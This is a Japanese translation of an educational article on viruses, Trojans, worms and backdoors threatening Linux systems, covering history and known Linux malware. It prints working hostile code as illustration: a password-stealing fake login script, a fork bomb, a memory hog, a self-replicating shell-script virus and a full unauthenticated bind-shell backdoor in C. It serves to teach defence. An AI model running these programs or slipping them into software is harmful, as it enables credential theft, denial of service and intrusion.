[LinuxFocus-icon]
ホーム  |  マップ  |  一覧  |  検索

ニュース | アーカイブ | リンク | LFについて
[an error occurred while processing this directive]
convert to palmConvert to GutenPalm
or to PalmDoc

Christophe Blaess
by Christophe Blaess (homepage)

著者紹介:

Christophe Blaess はフリーの航空機デザイナーです。 Linux のファンで、仕事ではだいたい Linux を使っています。 Linux Documentation Project が公開している man ページの翻訳のコーディネイトをやっています。



日本語訳:
須藤 賢一 <deep_blue/at/users.sourceforge.jp>

目次:

 

みんな恐いウィルス

virus

要約:

この記事は Linux Magazine France のセキュリティ特集号に掲載されました。 編集者、著者、翻訳者のご好意により、この特集号の全ての記事を LinuxFocus に転載することを許可していただきました。 LinuxFocus では英語に翻訳ししだい皆さんにお届けします。 関連者の方々に深く感謝致します。 尚、同号の全ての記事にこの前文を掲載します。


_________________ _________________ _________________

 

はじめに

この記事では、攻撃的なソフトウェアによって、Linux システムにどんなセキュリティ問題が起こるのかを概観します。 その手のソフトウェアは人間が介在せずにダメージを与えることができます。 ウィルス、ワーム、トロイの木馬のたぐいです。 いろいろな種類の脆弱性について詳しく説明し、フリーソフトウェアの良い面と悪い面を考察していきます。

 

まずは基本から

脅威には、主に次の 4 つの種類がありますが、これらは混同されがちです。 攻撃の多くは、いくつかの仕掛けを組み合わせているからです。

正確に分類するのはそう簡単ではありません。 たとえば、同じプログラムを、ある人はウィルスと判断し、別の人はワームと判断する場合もあり、最終判断は難しいのです。 ですがこの記事の趣旨は、どれが Linux システムをおびやかす可能性があるかを明確にすることなので、分類はそれほど重要ではありません。

常識に反して、これら厄介なプログラムは Linux にも存在しています。 もちろん、DOS などに比べれば、Linux は繁殖に適した場所ではありません。 しかし、危険があるということは無視できません。 それでは、どんな危険があるのかを分析していきましょう。

潜在的な脅威  

ウィルス

ウィルスは宿主となるプログラムの中核に入り込んだ小さなコードで、別の実行ファイルに感染することで自己を複製する能力を持ちます。 ウィルスが生まれたのは 70 年代のことです。 当時のプログラマー達は「core war」と呼ばれるゲームをしていました。 このゲームは AT&T のベル研究所 [MARSDEN 00] で作られたものです。 このゲームの目標は限られたメモリ領域の中で並列に小さなプログラムを動かし、相手を破壊するというものです。 当時のオペレーティングシステムはプログラムのメモリ領域間で保護を行っていませんでした。 そのため、互いに相手の抹殺を試みることができたのです。 この目的を果たすため、あるものはメモリ領域のできるだけ多くの部分に 0 を書くという「爆撃」を加え、またあるものはアドレス空間の中で絶えず移動を繰り返し、相手のコードを上書きするという戦略をとりました。 手強い敵に立ち向かうため、協力しあうものもありました。

このゲームで使われたアルゴリズムは、専用に作られたアセンブリ言語「red code」に翻訳され、当時ほとんどのマシンで動作していたエミュレーター上で実行されました。 このゲームの関心はもっぱら科学的な好奇心にあり、 Conway のライフゲームやフラクタル、遺伝的アルゴリズムなどに熱狂するのと似ていました。

しかし、core war に関して Scientific American に記事 [DEWDNEY 84] が掲載されたのに続き、予想された事態が起こりました。 フロッピーのブートセクターや実行ファイル向けの自己複製コードを書く者が現れたのです。 初めは Apple ][ コンピューターが、後には MacIntosh や PC が対象となりました。

MS DOS はウィルスが繁殖するのにかっこうの環境でした。 実行ファイルのフォーマットは広く知られており、メモリ保護機構もなく、ファイルへのアクセス権によるセキュリティもなく、メモリに常駐するプログラム TSR が多用されたことなどがその理由として挙げられます。 それに加えて、ファイルがどこからやって来たかなど気にせずにフロッピーで実行ファイルをやりとりするという、ユーザーの行動も影響しています。

端的に言えば、ウィルスはアプリケーションを起動した時にいっしょに起動される小さなコードです。 ウィルスはこの機をとらえ、他のまだ感染していない実行ファイルを探し、自身を埋め込み (慎重を期し、たいていは元のコードはそのままにします)、終了します。 新しい実行ファイルが起動されると、またこれが繰り返されます。

自動的に自己複製するために、ウィルスは様々は「武器」を使います。 [LUDWIG 91][LUDWIG 93] には DOS 用のウィルスの詳しい説明がありますが、アンチウィルスソフトウェアを出し抜いて潜伏すべく、ランダムに暗号化を行う手法や、コードを絶えず書き換える手法など、手の込んだ方法を使っています。 生存と繁殖の能力を向上させるために、遺伝的アルゴリズムを使うウィルスまであります。 とても有名な記事 [SPAFFORD 94] にも同様の情報が掲載されています。

ですが忘れてならないのは、コンピューターウィルスはけっして人工生命の実験テーマではなく、多大なダメージを与えることがあるということです。 小さなコードを複製するだけなら領域 (ディスクとメモリ) が無駄になるだけですが、ウィルスはさらに厄介な論理爆弾のための補助手段、いわば運び屋として使われるのです。 論理爆弾についてはトロイの木馬のところで説明します。  

トロイの木馬と論理爆弾

Timeo Danaos et dona ferentes - 贈り物を持ってきたギリシア人には注意しろ (Virgile, アイネーイス, II, 49).

要塞に囲まれたトロイは、ギリシア軍が神への捧げ物として置いて行った、馬の形をした巨大な木製の像を、街に運び入れるという失敗を犯してしまいます。 トロイの木馬には奇襲隊が隠れており、侵入に成功した軍隊は、夜の暗闇に乗じて内部から街を攻撃しました。 これによりギリシア側がトロイ戦争で勝利することになったのです。

有名な「トロイの木馬」という言葉は、コンピューターセキュリティの分野で「先験的に」無害なアプリケーションを指すものとして使われています。 このアプリケーションは前述のウィルスと同様に論理爆弾と呼ばれる破壊的なコードを広めます。

論理爆弾は様々な影響を及ぼす悪意を持ったプログラムです。

場合によっては論理爆弾は特定のシステムをターゲットとして作られ、極秘情報を盗もうとしたり、特定のファイルを破壊しようとしたり、個人情報を奪って信用を傷つけたりしようとします。 ターゲット以外のシステムでは害を与えません。

ときに論理爆弾はシステムを物理的に破壊しようとすることもあります。 可能性は低いですが、ゼロではありません (CMOS メモリの消去、モデムのフラッシュメモリの書き換え、プリンタやプロッタ、スキャナなどのヘッドをめちゃくちゃに動かす、ハードディスクの読み込みヘッドを高速で動かすなどです)。

爆薬にたとえると、論理爆弾が動き出すには起爆装置が必要になります。 破壊効率の点からは、トロイの木馬やウィルスから最初に起動された時に破壊行動を起こすのは良い戦略ではありません。 論理爆弾を仕掛けたら、爆発する前にしばらく休む方が良いのです。 そうすることで、ウィルスにとっては他のシステムに感染するチャンスが増え、トロイの木馬にとっては、ユーザーが新しいアプリケーションをインストールしたこととマシンがおかしくなったこととを結びつけにくくなるのです。

他の悪意のある行動と同じく、活動を始める方法も様々です。 インストールから 10 日後であったり、特定のユーザーアカウントが削除 (つまり解雇) されたときであったり、キーボードとマウスが 30 分間押されなかったケースであったり、プリントキューに大量のデータが溜った場合であったりと、ありとあらゆる可能性があります。 最近ではありふれていますが、スクリーンセーバーを利用したトロイの木馬が有名です。 見た目はきれいですが、その裏では誰にも邪魔されずに悪事を働くことができるのです。 論理爆弾が 1 時間後に起動されれば、ユーザーがコンピューターの前にいないことが確実だからです。

有名なトロイの木馬としては以下のようなスクリプトがあります。 ログイン/パスワード入力画面を表示して、入力された情報を誰かに送って終了します。 誰も使っていない端末上でこれが動いていたら、次に使おうとしたユーザーのパスワードが盗まれることになります。

#! /bin/sh

clear
cat /etc/issue
echo -n "login: "
read login
echo -n "Password: "
stty -echo
read passwd
stty sane
mail $USER <<- fin
        login: $login
        passwd: $passwd
fin
echo "Login incorrect"
sleep 1
logout

終了時にログアウトするように、exec シェルコマンドからこのスクリプトを起動する必要があります。 だまされた人は "Login incorrect" という表示を見て、自分がタイプミスをしたと思い込んで、もう一度やり直すでしょう。 さらに進化して、X11 のログインダイアログのふりをするプログラムもあります。 これらの罠を避けるには、端末の前に座ったらまずは嘘のログイン名かパスワードを入力することをお勧めします (簡単ですぐ覚えられるテクニックなので、癖をつけると良いでしょう)。

 

ワーム

ポールはワームに乗っていた。大喜びで、世界を手中にした皇帝のように。 (F. Herbert "Dune")

"ワーム" の原理はウィルスと同じです。 ワームは最大限に広まるべく自己複製を試みるプログラムです。 これは主要な特徴というわけではありませんが、遅延発火型の論理爆弾が入っていることもあります。 ワームとウィルスの違いは、ワームが媒介手段として宿主プログラムを使わず、代わりに電子メールなどの、ネットワークの仕組みを利用して、あるマシンから別のマシンに広がっていくという点です。

ワームの技術的なレベルは高く、リモートマシン上で自己を複製するために、ネットワークサービスを提供しているソフトウェアの脆弱性を利用します。 この原型となっているのが 1988年の「インターネットワーム」です。

インターネットワーム は単純なワームで、論理爆弾は入っていませんでしたが、意図せずともその破壊的な効果は絶大でした。 短いながら明快な説明が [KEHOE 92] に、詳細な分析が [SPAFFORD 88] または [EICHIN 89]にあります。 技術的な内容ではありませんが、面白い説明が [STOLL 89] にあり (カッコウの卵 の話の後)、被害にあったシステムの管理者が騒然となった後、チームが必死にこのワームと戦った様子が描かれています。

概略を説明すると、このワームはコーネル大学の学生だった Robert Morris Jr が作ったプログラムで、Morris は当時からネットワークプロトコルのセキュリティ問題に関する論文で有名でした [MORRIS 85]。 Morris の父親は NSA (国家安全保障局) の下部機構 NCSC でコンピューターセキュリティを担当していました。 ワームは 1988 年 11 月 2 日の午後遅くに解き放たれ、インターネットにつながっているほとんどのシステムを停止に追いやりました。 このワームはいくつかの段階を経て活動します。

  1. ワームがコンピューターに侵入すると、ネットワークを伝って増殖しようとします。 アドレスを取得するためにシステムファイルを読み込んだり、netstat 等のユーティリティを使ってネットワークインターフェースに関する情報を取得したりします。
  2. さらに、ユーザーのアカウントを奪取しようとします。 そのため、辞書の内容とパスワードファイルを比較します。 また、パスワードとしてユーザー名を使って (逆さまにしたり繰り返したりなどして) 解読を試みます。 これは、パスワードが読み込み可能なファイル (/etc/passwd) に暗号化して保存されているという、1 つ目の脆弱性を突いたもので、不適切なパスワードを設定しているユーザーがいる点を利用したものです。 この脆弱性は現在では シャドウパスワード を使うことで解決されています。
  3. ユーザーアカウントの奪取に成功すると、 ワームは認証なしで直接アクセスできるマシンを探します。 それにはファイル ~/.rhost/etc/hosts.equiv を利用します。 そして、rsh コマンドを使ってリモートマシンで命令を実行します。 このようにして自身を新たなホストにコピーし、この手順が繰り返されます。
  4. 一方、他のマシンに侵入するのに 2 つ目の脆弱性も利用します。 fingerd バッファオーバーフロー攻撃です (セキュアプログラミングに関する連載 : Avoiding security holes when developing an application - Part 1, Avoiding security holes when developing an application - Part 2: memory, stack and functions, shellcode, Avoiding security holes when developing an application - Part 3: buffer overflows を参照)。
    このバグはリモートからの命令の実行を許してしまいます。 そしてワームは新しいシステムに自分自身をコピーし、活動を始めます。 実際には、この手法は特定の種類のプロセッサでしかうまくいきません。
  5. 最後に、3 つ目の脆弱性も使います。 sendmail デーモンの、デフォルトで有効になっているデバッグオプションです。 これを使えば、受け取り先としてプログラムを指定したメールを送り、メールの内容をその標準入力にすることができるのです。 一般のマシンではこのオプションを有効にすべきではなかったのですが、それを無視している管理者がほとんどでした。

特筆すべきは、リモートマシンで何らかの命令を実行してからワーム自身をコピーする方法が複雑だという点です。 まず小さな C プログラムを送り、送った先でコンパイルして実行します。 次に元のコンピューターと TCP/IP コネクションを確立して、ワームのバイナリを全て読み込みます。 このコンパイル済のバイナリには様々なアーキテクチャ (Vax と Sun) 用のものがあり、次々と試されます。 さらに、ワームはその痕跡を残さないよう自身を隠すようになっていて、とても巧妙に作られています。

一度感染したコンピューターにはそれ以上感染しないように作られていたのですが、不幸にもこの機能はうまく動きませんでした。 Internet 88 ワームは論理爆弾こそ含んでいなかったものの、感染したシステムが過負荷状態に陥ったために発見されるに至りました (特に電子メールがブロックされ、解決策が行き渡るのが遅れました)。

このワームの作者はしばらく保護観察下に置かれることになります。

ワームは複雑なため、それほど多くは発生しません。 ワームと、電子メールの添付ファイルとして送られる有名な "ILoveYou" などのウィルスとを混同してはいけません。 この手のウィルスは、メールを開くと自動的にアプリケーションを実行してしまう生産性アプリケーション向けに (Basic で) 書かれたマクロであり、とても単純なものです。 あるオペレーティングシステムで、メールリーダーがあまりにも割り切った設定がなされているときだけ動作します。 ユーザーが操作しないと起動しないという点で、ワームというよりはトロイの木馬に近いと言えます。

 

バックドア

バックドア はトロイの木馬と混同されますが、全く違います。 バックドアは (技術を持った) ユーザーがソフトウェアの動作を変えることができるようにするものです。 ゲームでたくさんのアイテムを獲得したり、レベルを上げたりするのに使われる cheat codes に似ています。 ただし、接続を認証するアプリケーションや電子メールを送受信するアプリケーションなど、重要なものが対象となります。 ソフトウェアの作者が秘密のパスワードを使ってアクセスできるようにすることができるからです。

プログラマーがデバッグ作業を簡単にするために、認証メカニズムを迂回してソフトウェアを使えるよう、小さなドアを開けておき、それが実稼働時にも残ってしまっていることがあります。 デフォルトのパスワード (systemadminsuperuser 等) がそのまま使えてしまうケースは、正式なアクセス手段ではありますが、ドキュメントの不備により、管理者がそのままにしておくことがあります。

映画 「Wargame」で、システムの中枢と話をするために秘密のアクセス方法があったのを覚えている人も多いかと思いますが、これを実践したという最古の報告書が [THOMPSON 84] にあります。 Ken Thompson は Unix の父のひとりですが、何年も前に Unix システムに仕掛けた秘密のアクセス方法について触れています。

このような手口に対抗するにはどうすれば良いのでしょうか。 残念ですが成す術がありません。 システムをまるごと入れ換えるのがせいぜいです。 ありとあらゆるマイクロコード、オペレーティングシステム、コンパイラ、ユーティリティを自分で書いて、一からマシンを組み上げる以外には、たとえソースコードが入手できたとしても、全アプリケーションがクリーンだということを確認できないのです。

 

で、Linux はどうなの ?

ここまでで、どのシステムでも共通な、主たる危険性について説明してきました。 次に、フリーソフトウェアと Linux に関する脅威を見てみましょう。

 

論理爆弾

まず、Linux で論理爆弾がどのくらいのダメージを与えることができるのかを見てみましょう。 もちろん、狙っている効果の種類や、論理爆弾を起動したユーザーの権限によって変わってきます。

システムファイルの破壊や機密データの盗難に関しては 2 つのケースがあります。 もし論理爆弾が root の権限で起動されると、マシン上であらゆる権力を握ることになり、パーティションを全て削除したり前述のようにハードウェアを破壊する可能性もあります。 root 以外のユーザーの権限で起動された場合には、権限のないユーザーが可能な範囲内の破壊しかできません。 そのユーザーのデータを破壊するのがせいぜいでしょう。 この場合、自分のファイルは自分で責任を持つことになります。 良識のあるシステム管理者は root ではほとんど作業をしません。 これにより、root アカウントで論理爆弾を起動してしまう確率を低くしているのです。

Linux は個人データやハードウェアへのアクセスを保護するという点において比較的優れていますが、大量のリソースを使うことで動作不能にすることを狙った攻撃にはもろい面があります。 たとえば次の C プログラムは、一般ユーザーの権限で実行した場合でも停止するのが難しく、ユーザーの起動できるプロセス数が制限されていない場合、プロセステーブルのエントリを食い潰し、プロセスを殺すことすらできなくなってしまいます。

  #include <signal.h>
  #include <unistd.h>

  int
main (void)
{
  int i;
  for (i = 0; i < NSIG; i ++)
    signal (i, SIG_IGN);
  while (1)
    fork ();
}

ユーザーに対して制限を加えることで (システムコール setrlimit() かシェルプログラム ulimit を使う)、このようなプログラムの寿命を縮めることができますが、 システムが動くようになるのはしばらく後になってからです。

同様に、以下のプログラムはありったけのメモリを消費し、CPU も食い潰します。 他のプロセスにとってはたまったものではありません。

  #include <stdlib.h>

  #define LG      1024

  int
main (void) {
  char * buffer;
  while ((buffer = malloc (LG)) != NULL)
     memset (buffer, 0, LG);
  while (1)
    ;
}

最新のカーネルでは、このようなプログラムは仮想メモリ管理機構によって自動的に停止させられます。 しかし以前のバージョンのカーネルでは、大量のメモリを必要とする他のタスクのうち、その時点でアクティブでないもの (例えば X11 アプリケーションなど) が停止させられることもありました。 また、他のプロセスは誰もメモリを取得することができず、そのために停止せざるを得なくなることもありました。

ネットワークの機能をめちゃくちゃにするのも比較的簡単です。 ポートに対して連続して接続要求を出すことで、過負荷にするのです。 これに対する解決策はありますが、管理者がみな有効にしているわけではありません。 このように Linux では、一般ユーザーが起動した論理爆弾が他人のファイルを破壊できないとは言え、厄介なことをやらかすことはできます。 fork()malloc()connect() を組み合わせてやれば、システムとネットワークサービスに大量の負荷をかけることができるのです。

 

ウィルス

Subject: Unix のウィルス

このシステムは UNIX のウィルスに感染しました。

このウィルスは協調主義に則って動作します。

Linux か Unix を使っているのなら、このメールを友人に転送し、
システムのファイルを適当に 2、3個破壊してください。

一般常識に反し、ウィルスは Linux に脅威を与える可能性があります。 ただし、Linux 用のウィルスが繁殖に適した場所を見つけることはできないだろうということは確かです。 まず、マシンに寄生する段階を見てみましょう。 ウィルスはそのマシンで実行されないといけません。 つまり、ウィルス入りの実行ファイルが他のシステムからコピーされるということです。 しかし、誰かにソフトウェアを送るのに、Linux の世界では実行ファイルを送るのではなく、ソフトウェアを入手できる URL を教えるのが一般的です。 よってウィルスは公式なサイトに潜む必要性があり、そうなればすぐに発見されてしまいます。 感染したマシンがウィルスを広めるためには、そのマシンがコンパイル済アプリケーションの配布プラットフォームとならなければなりませんが、これはあまり起こりません。 実は、実行ファイルというのはフリーソフトウェアの世界では論理爆弾を運ぶのにあまり都合の良い媒体ではないのです。

マシン内での感染について言えば、感染したアプリケーションは、それを実行しているユーザーが書き込み権を持っているファイルにしか広まることができません。 頭の良い管理者は本当に権限が必要な操作をする時しか root で作業をしませんから、root でログイン中に新たなソフトウェアを起動してしまうこともめったにありません。 ウィルスに感染した Set-UID root のアプリケーションをインストールすることを除けば、危険はかなり低くなります。 一般ユーザーが感染したプログラムを実行しても、ウィルスはこのユーザーのファイルにしか手を出せませんので、システムユーティリティにまで感染するのを防ぐことができます。

Unix が長いことウィルスに悩まされたくて済んだのは、プロセッサ (ひいてはアセンブリ言語) とライブラリ (ひいてはオブジェクトのリファレンス) の種類が多かったことも一因です。 これにより、コンパイル済のコードの範囲が制限されたのです。 しかし、今日では状況が変わってしまいました。 ELF ファイルに感染する、i386 プロセッサ上で GlibC 2.1 を使った Linux 向けのウィルスなら、感染対象がたくさんあります。 さらに、ホストに依存しない言語でウィルスを書くこともできます。 例えば、以下に示すのはシェルスクリプトで記述したウィルスです。 起動されたディレクトリにある全てのシェルスクリプトに感染を試みます。 同じスクリプトに 2 回以上感染しないように、2 行目に "infected" または "vaccinated" というコメントがあるファイルは無視します。

#! /bin/sh
# infected

( tmp_fic=/tmp/$$
candidates=$(find . -type f -uid $UID -perm -0755)
for fic in $candidates ; do
  exec < $fic
  # 最初の行を読み込む
  if  ! read line ; then
          continue
  fi
  # シェルスクリプトかどうかを確認する
  if [ "$line" != "#!/bin/sh" ]&&[ "$line" != "#! /bin/sh" ];then
          continue
  fi
  # 2 行目を読み込む
  if ! read line ; then
          continue
  fi
  # このファイルは感染済もしくはワクチン投与済か ?
  if [ "$line" == "# vaccinated" ]||[ "$line" == "# infected" ];then
          continue
  fi
  # それ以外ならウィルス本体をコピーして感染させる
  head -33 $0 > $tmp_fic
  # and the original file.
  cat $fic >> $tmp_fic
  # Overwrite the original file.
  cat $tmp_fic > $fic
done
 rm -f $tmp_fic
) 2>/dev/null &

このウイルスは、元のスクリプトが通常の処理を行っている間にバックグラウンドで動作する以外、 自分自身の存在やその行動を隠すことはしません。 当り前ですが、このスクリプトを絶対に rootで実行しないでください。 特に find .find / に変更したときはなおさらです。 このプログラムは単純ですが、システムにたくさんのカスタマイズされたシェルスクリプトがあると、特に暴走しやすいのです。

表 1 に有名な Linux 用のウィルスを示します。 どのウィルスも ELF 実行ファイルに感染し、自身のコードをファイルヘッダーの後に挿入して元のコードを後ろに移動します。 特に指定のない限り、これらウィルスは感染する可能性のあるファイルをシステムディレクトリから探します。 この表を見ると、Linux 向けのウィルスが数も少なければ危険なものも少ないことが分かるでしょう。 これらのウィルスはこれまで無害だったのです。

表 1 - Linux 向けのウィルス
名称 論理爆弾 特記事項
Bliss 明らかに無効 --bliss-disinfect-files-please オプションつきで実行すると自動的に感染を解く。
Diesel なし  
Kagob なし 元のプログラムを実行するのにテンポラリファイルを使う
Satyr なし  
Vit4096 なし カレントディレクトリ内のファイルにのみ感染
Winter なし このウィルスのコードは 341 バイトしかない。 カレントディレクトリ内のファイルにのみ感染
Winux なし 2 種類のコードを含み Windows のファイルと Linux の ELF ファイルの両方に感染する。 だが、ウィルスが保存されているパーティション以外のパーティションは検索することができず、そのために感染力が弱い。
ZipWorm Zip ファイルを探し、Linux と Windows に関する "troll" テキストを挿入する ("troll"= スウェーデンの神話に出て来る小人)。  

ご覧のように、"Winux" ウィルスは Windows と Linux の両方に感染します。 危険なものというよりは、可能であることを実証してみたという色合いが濃い、無害なウィルスです。 でも、こういうウィルスが侵入してきて、パーティションをまたぎ、さらには Samba サーバーなどを使った異機種混合ネットワークを蝕むところを想像すると、背筋がぞっとします。 駆除するには、いろんなシステム用のツールが同時に使えるようにならないといけないため、大変な困難を伴うでしょう。 特に注意しておきたいのは、Windows で動くウィルスが Linux パーティションにアクセスしたら、一般ユーザーの権限で動作するウィルスがシステムファイルを破壊するのを防ぐという Linux の保護機構が役に立たないという点です。

もっと説明しましょう。 いくら Linux 側で守りを固めても、将来開発されるであろうマルチプラットフォームウィルスの入った Windows パーティションからマシンを起動してしまっては、何にもならないということです。 2 つのオペレーティングシステムの デュアルブート を行っているマシンの全てで問題となります。 総合的には、守りの弱いほうのシステムのセキュリティ機構に頼ることになるのです。 暗号化されたファイルシステムを使うなどして、Windows のアプリケーションからは Linux のパーティションはアクセスできないようにするのが唯一の解決法です。 この種のウィルスはまだ大して広まっていませんが、マウントされていないパーティションを狙うウィルスが Linux マシンにとって大きな脅威となることは確実です。

 

トロイの木馬

トロイの木馬はウィルスと同じくらい恐いものですが、より人々の関心が高いように思われます。 ウィルスによって運ばれる論理爆弾と異なり、トロイの木馬の中の論理爆弾は人間によって意図的に仕掛けられたものです。 フリーソフトウェアの世界では、コードの作者と最終的な利用者の間にはひとりないしふたり程度の仲介者しか存在しません (たとえばプロジェクトの責任者とかディストリビューション作成者などです)。 トロイの木馬が見つかっても犯人は容易に捕まることでしょう。

このように、フリーソフトウェアの世界はトロイの木馬からは比較的良く守られています。 現在のフリーソフトウェアでは、プロジェクトが管理されており、開発者は受容的で、プロジェクトを参照するウェブサイトもあります。 sharewarefreeware とは雲泥の差があります。 そこでは、コンパイル済みのバージョンしか入手できず、乱立する何百というウェブサイト (または雑誌の付録 CD) で提供され、作者の素性は本当のものだか分からない電子メールアドレスによってしか分からないのです。 このような状況はトロイの木馬にとって願ってもない環境です。

注意しておきたいのは、アプリケーションのソースを入手してコンパイルすることが、セキュリティを保証することにはならないということです。 たとえば、悪意のある論理爆弾は "configure" スクリプト ("./configure; make" のように実行する) の中に隠れていることもあるのです。 このスクリプトは大抵 2000 行もあります。 忘れてならないのは、アプリケーションのソースコードがクリーンだとしても、Makefile に、コンパイルの最終段階の "make install" で起動されるような論理爆弾を仕掛けることは可能です。 しかも、通常これは root で実行されるのです。

最後になりますが、Windowsのウィルスやトロイの木馬でやっかいなのは、ドキュメントを参照したときに実行されるマクロです。 Linux の生産性パッケージは、現時点ではこれらマクロを処理できません。 そのため、ユーザーはセキュリティに関して過度の安心感を持っています。 しかし、いつの日かこれらツールがドキュメントに埋めこまれている Basic マクロを実行できるようになるでしょう。 設計者が、マクロからシステムのコマンドを実行することを許すなんていうばかな考えを起こす日もいずれ必ずやってきます。 確かにウィルスの時と同様に、ユーザーの権限の範囲でしか破壊活動を行うことはできませんが、ドキュメント、ソースファイル、メールがみんな消えてしまい、最後にバックアップを取ったのが 1 ヶ月も前なんていう状況では、システムファイルが消えなかったからといって (しかもインストール CD に入っていますし)、なぐさめにもなりません。

データに潜むトロイの木馬の説明を終えるに当たって最後に付け加えますが、 悪意を持っていなくても、インタープリターにかける必要のあるファイルを使えば、ユーザーをいらいらさせる方法が必ずあるということです。 Usenet では、ディスクが一杯になるまでファイルを複製していく圧縮ファイルをときどき見かけるでしょう。 Postscript ファイルの中には、インタープリター (ghostscriptgv) をブロックして CPU を食い潰すものもあります。 これらは、たとえ悪意はなくてもユーザーの時間を無駄にし、とてもいらいらさせるものです。

 

ワーム

1988 年にインターネットワームが発生した当時 Linux は存在しませんでしたが、もし存在していたならこの手の攻撃のかっこうの標的となっていたでしょう。 フリーソフトウェアはソースコードを入手できるため、セキュリティホール (例えばバッファーオーバーフローなど) を見つけるのがとても簡単なのです。 ですが、威力のあるワームを作るのは非常に難しく、そのために Linux 上で動くワームは数少ないのです。 表 2 には、有名なものを含めいくつかのワームを挙げます。

ワームはネットワークサーバーの弱点を攻撃します。 インターネットにたまにしか繋がないワークステーションでは、ずっとつないでおくサーバーに比べて理論上は危険性が低いことになります。 しかし、家庭ユーザーの接続方法が革新され (ケーブル、DSL など)、ネットワークサービス (HTTP サーバー、anonymous FTP 等) を実装するのが簡単であることから、誰もが無関心ではいられなくなる日もいずれ来るでしょう。

表 2 - Linux で動作するワーム
名前 セキュリティホール 特記事項
Lion (1i0n) bind 侵入したマシンにバックドア (TCP ポート 10008) と root-kit をインストールし、 システム情報を中国の電子メールアドレスに送信する。
Ramen lpr, nfs, wu-ftpd index.html ファイルを探して書き換える。
Adore (Red Worm) bind, lpr, rpc, wu-ftpd システムにバックドアを仕掛け、中国とアメリカの電子メールアドレスに情報を送信する。 また、ps をすり替えて自身のプロセスが見えないようにする。
Cheese Lion と同様 正義のワームで、Lion が仕掛けたバックドアをチェックしてあれば削除する。

ワームが広まる期間には制限があります。 マシン間でコピーを行うことでしか生き永らえることができず、最近見つかったセキュリティホールに依存していますから、標的となるアプリケーションを迅速にアップデートすれば被害を食い止めることができます。 近い将来、家庭のシステムは自動的にウェブサイトを (毎日) 参照して --- このウェブサイトは信頼できないと困りますが --- システムアプリケーションのセキュリティパッチを探すようになるでしょう。 これにより、ユーザーが一日中システム管理者として働かなくともネットワークアプリケーションのメリットを享受できるようになるのです。

 

バックドア

バックドアはフリーソフトウェアにとっても重要な問題です。 もちろんプログラムのソースコードがあれば、理論的には何をしているのかチェックすることが可能です。 しかし実際には、インターネットからダウンロードしたプログラムの中身を読む人はほとんどいません。 例えば、以下に示す小さなプログラムでもバックドアとして完全に機能し、サイズも小さいことから、大きなアプリケーションに容易にまぎれ込ませることができます。 このプログラムは拙著 [BLAESS 00] から抜きだしたもので、偽端末の仕組みを示すものです。 短くするためにコメントを省いているのであまり読み易くはありません。 同じ理由でエラーチェックもほとんど省いてあります。 起動されると、マシンのあらゆるネットワークインターフェースで、プログラムの最初で指定した TCP/IP のサーバーポート (デフォルトは 4767) をオープンします。 このポートに接続すれば、認証なしで自動的に接続が許可されます。

    #define _GNU_SOURCE 500
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <termios.h>
    #include <unistd.h>
    #include <netinet/in.h>
    #include <sys/socket.h>

    #define ADRESSE_BACKDOOR  INADDR_ANY
    #define PORT_BACKDOOR     4767

    int
main (void)
{
    int                sock;
    int                sockopt;
    struct sockaddr_in adresse; /* address */
    socklen_t          longueur; /* length */
    int                sock2;
    int        pty_maitre; /* pty_master */
    int        pty_esclave; /* pty_slave */
    char *         nom_pty; /* name_pty */
    struct termios     termios;
    char * args [2] = { "/bin/sh", NULL };
    fd_set         set;
    char           buffer [4096];
    int            n;

    sock = socket (AF_INET, SOCK_STREAM, 0);
    sockopt = 1;
    setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &sockopt,
               sizeof(sockopt));
    memset (& adresse, 0, sizeof (struct sockaddr));
    adresse . sin_family = AF_INET;
    adresse . sin_addr . s_addr = htonl (ADRESSE_BACKDOOR);
    adresse . sin_port = htons (PORT_BACKDOOR);
    if (bind (sock, (struct sockaddr *) &adresse, sizeof (adresse)))
        exit (1);
    listen (sock, 5);
    while (1) {
        longueur = sizeof (struct sockaddr_in);
        if ((sock2 = accept (sock, &adresse, &longueur)) < 0)
            continue;
        if (fork () == 0) break;
        close (sock2);
    }
    close (sock);
    if ((pty_maitre = getpt()) <0) exit (1);
    grantpt  (pty_maitre);
    unlockpt (pty_maitre);
    nom_pty = ptsname (pty_maitre);
    tcgetattr (STDIN_FILENO, &termios);
    if (fork () == 0) {
        /* Son: shell execution in the slave
            pseudo-TTY */
        close (pty_maitre);
        setsid();
        pty_esclave = open (nom_pty, O_RDWR);
        tcsetattr (pty_esclave, TCSANOW, &termios);
        dup2 (pty_esclave, STDIN_FILENO);
        dup2 (pty_esclave, STDOUT_FILENO);
        dup2 (pty_esclave, STDERR_FILENO);
        execv (args [0], args);
        exit (1);
    }
    /* Father: copy of the socket to the master pseudo-TTY
        and vice versa */
        tcgetattr (pty_maitre, &termios);
    cfmakeraw (&termios);
    tcsetattr (pty_maitre, TCSANOW, &termios);
    while (1) {
        FD_ZERO (&set);
        FD_SET (sock2, &set);
        FD_SET (pty_maitre, &set);
        if (select (pty_maitre < sock2 ? sock2+1: pty_maitre+1,
             &set, NULL, NULL, NULL) < 0)
            break;
        if (FD_ISSET (sock2, &set)) {
            if ((n = read (sock2, buffer, 4096)) < 0)
                break;
            write (pty_maitre, buffer, n);
        }
        if (FD_ISSET (pty_maitre, &set)) {
            if ((n = read (pty_maitre, buffer, 4096)) < 0)
                break;
            write (sock2, buffer, n);
        }
    }
    return (0);
}

このコードを巨大なアプリケーション (例えば sendmail など) に仕込めば、発見される頃までにはさんざん侵入できてしまうでしょう。 また、コードがやっていることを隠す点において芸術の域に達している人もいます。 毎年 IOCC (International Obsfucated C Code Contest) コンテストに出品されるプログラムを見れば納得するでしょう。

バックドアは机上の空論だと思ってはいけません。 たとえば Red-Hat 6.2 ディストリビューションの Piranha パッケージではデフォルトのパスワードを受け付けるということが実際にありました。 また、Quake 2 というゲームは、リモートからコマンドを実行できるようなバックドアが隠されていると疑われています。

見た目を複雑にしてその中にバックドアを隠してしまえば、それに気づく人はほとんどいません。 典型的な例が暗号化プログラムに関するものです。 たとえば開発中の SE-Linux システムは、NSA から提供されたパッチを使ってセキュリティを強化した Linux です。 提供されたパッチをチェックした Linux 開発者は、おかしなところは なさそうだ と言っていますが、本当のところは誰も分からず、セキュリティホールを見つけられるほどの数学の知識を持っている人はほとんどいません。

 

まとめ

